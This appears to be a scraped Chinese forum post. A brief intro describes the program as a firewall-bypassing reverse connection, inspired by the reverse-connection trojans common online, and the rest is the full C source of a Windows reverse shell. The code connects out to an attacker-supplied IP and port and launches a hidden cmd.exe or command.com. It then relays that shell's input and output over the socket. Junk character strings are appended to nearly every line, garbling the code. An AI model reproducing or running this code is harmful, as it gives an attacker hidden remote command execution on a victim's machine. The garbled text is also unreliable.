这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V/N:Of:\R
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/* ============================== %3SBs*?
Rebound port in Windows NT Lvco9
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By wind,2006/7 o4Ny9s
===============================*/ HgVPyo
#include 4DLp+6zP
#include ui>0?O*G
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#pragma comment(lib,"wsock32.lib") [v0[,K
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void OutputShell(); r [NI#wW
SOCKET sClient; Ku'OM6D<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I| Vyv
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void main(int argc,char **argv) +F>9hA
{ ^jph"a C
WSADATA stWsaData; ioJ~k[T
int nRet; %1JN%
SOCKADDR_IN stSaiClient,stSaiServer; @'5*u~M
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if(argc != 3) l( Y
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{ [nYm-\M
printf("Useage:\n\rRebound DestIP DestPort\n"); 2D'b7zPJ3
return; /Ko{S_3<I
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); W'98ues%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GF^)](xY+
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stSaiClient.sin_family = AF_INET; sLHUQ(S!
stSaiClient.sin_port = htons(0); *- S/{
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !<EQVqj6
pwIu;:O!?
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UgqfO(
{ 0aWy!d
printf("Bind Socket Failed!\n"); 3)ZdT{MY
return; = n>aJ(=Pd
} N'5AU (
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stSaiServer.sin_family = AF_INET; Gd%X> ~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MJyz0.9 c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {?+dVLa^;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q`0 k=<
{ wO-](3A-8P
printf("Connect Error!"); .sqX>sU/]
return; 7>@g)%",
} H
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OutputShell(); 9y$"[d27;+
} L!>EW0
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void OutputShell() i!nPiac
{ <w1#3Mu'
char szBuff[1024]; +t8{aaV
SECURITY_ATTRIBUTES stSecurityAttributes; pBR9)T\n
OSVERSIONINFO stOsversionInfo; Lh_Q@>k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C@P4}X0,=
STARTUPINFO stStartupInfo; H?H(=
char *szShell; NA/hs/ '
PROCESS_INFORMATION stProcessInformation; ;$FpxurX
unsigned long lBytesRead; hQFF%xl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `i"7; _HoV
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bMCy=5
stSecurityAttributes.lpSecurityDescriptor = 0; ^Gt9.
stSecurityAttributes.bInheritHandle = TRUE; n !oxwA!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P;8D|u^\*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lFZ}.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j34L*?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \v,mr|
stStartupInfo.wShowWindow = SW_HIDE; %=PGvu
stStartupInfo.hStdInput = hReadPipe; f8AgTw,K8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4k6,pt"
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GetVersionEx(&stOsversionInfo); ajJ+Jn\
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switch(stOsversionInfo.dwPlatformId) WF&?OHf2
{ n7$21*,
case 1: No(p:Snbo
szShell = "command.com"; q33Z.3R
break; $Y3mO~
default: #ouE,<
szShell = "cmd.exe"; Pkq?tm$#
break; ,x]xtg?
} wMx#dP4W8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I `I+7~t
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send(sClient,szMsg,77,0); ? 3'O
while(1) W&'[Xj
{ Up*.z\|'y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MmL)CT
if(lBytesRead) m.':5
{ uB*Y}"Fn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ),%(A~\
send(sClient,szBuff,lBytesRead,0); -0G/a&ss
} $KAOJc4<
else 0^G5 zQlj
{ xkPH_+4i8
lBytesRead=recv(sClient,szBuff,1024,0); >`S $(f
if(lBytesRead<=0) break; ~L55l2u7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <5fb,@YN
} g UAx8=h
} %.nZ@';.
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return; gOSFvH8FU
}